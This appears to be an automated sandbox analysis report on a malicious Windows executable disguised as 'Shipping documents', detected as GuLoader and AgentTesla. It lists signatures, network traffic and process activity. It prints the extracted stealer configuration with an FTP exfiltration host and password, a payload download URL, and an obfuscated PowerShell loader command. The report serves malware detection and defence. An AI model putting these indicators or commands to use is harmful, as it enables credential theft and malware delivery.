Windows Analysis Report
Shipping documents 000022999878999800009999.exe

Overview

General Information

Sample name: Shipping documents 000022999878999800009999.exe
Analysis ID: 1518330
MD5: 4ecafa8f623606caf0a925f5c6b2eb10
SHA1: 59cb79183b9547b3915c8aa09ed904f84bcab22c
SHA256: 3fe8f843e696c1dacbdcabed38d7132776915d89b60ac10c68fda048cbfe044f
Tags: exeGuLoaderuser-abuse_ch
Infos:

Detection

AgentTesla, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Initial sample is a PE file and has a suspicious name
Powershell drops PE file
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://ftp.concaribe.com Avira URL Cloud: Label: malware
Found malware configuration
Source: Shipping documents 000022999878999800009999.exe.432.0.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe ReversingLabs: Detection: 26%
Multi AV Scanner detection for submitted file
Source: Shipping documents 000022999878999800009999.exe ReversingLabs: Detection: 26%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses 32bit PE files
Source: Shipping documents 000022999878999800009999.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: Shipping documents 000022999878999800009999.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: qm.Core.pdbE source: powershell.exe, 00000002.00000002.2775532254.0000000006CDD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbhx source: powershell.exe, 00000002.00000002.2779696439.0000000007FFE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2779696439.0000000007FA0000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C63
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00402910 FindFirstFileW, 0_2_00402910
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_004068B4 FindFirstFileW,FindClose, 0_2_004068B4
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View IP Address: 104.26.13.205 104.26.13.205
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49720 -> 185.29.11.53:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bgJJbKBK219.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bgJJbKBK219.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: ftp.concaribe.com
Source: wabmig.exe, 00000008.00000002.3393389879.00000000237A0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bin
Source: wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bin-
Source: wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.29.11.53/bgJJbKBK219.bine
Source: wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://concaribe.com
Source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2775532254.0000000006C59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ftp.concaribe.com
Source: Shipping documents 000022999878999800009999.exe, 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Shipping documents 000022999878999800009999.exe, 00000000.00000000.2125866362.000000000040A000.00000008.00000001.01000000.00000003.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/
Source: wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/t
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2775532254.0000000006D12000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://go.micXO
Source: powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49721 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_0040571B

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: Shipping documents 000022999878999800009999.exe
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403532
Creates files inside the system directory
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File created: C:\Windows\SysWOW64\sennepssovsen Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File created: C:\Windows\resources\0809 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00406DC6 0_2_00406DC6
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_0040759D 0_2_0040759D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424EAE0 2_2_0424EAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424F3B0 2_2_0424F3B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0424E798 2_2_0424E798
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_0083E370 8_2_0083E370
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_0083AAB0 8_2_0083AAB0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_00834A58 8_2_00834A58
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_00833E40 8_2_00833E40
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_00834188 8_2_00834188
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Code function: 8_2_0083AAAA 8_2_0083AAAA
PE / OLE file has an invalid certificate
Source: Shipping documents 000022999878999800009999.exe Static PE information: invalid certificate
Uses 32bit PE files
Source: Shipping documents 000022999878999800009999.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@6/12@2/3
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403532
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_004049C7
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Code function: 0_2_004021AF CoCreateInstance, 0_2_004021AF
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File created: C:\Users\user\AppData\Local\acneform Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1056:120:WilError_03
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File created: C:\Users\user\AppData\Local\Temp\nsx1143.tmp Jump to behavior
Source: Shipping documents 000022999878999800009999.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Shipping documents 000022999878999800009999.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe File read: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe" Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
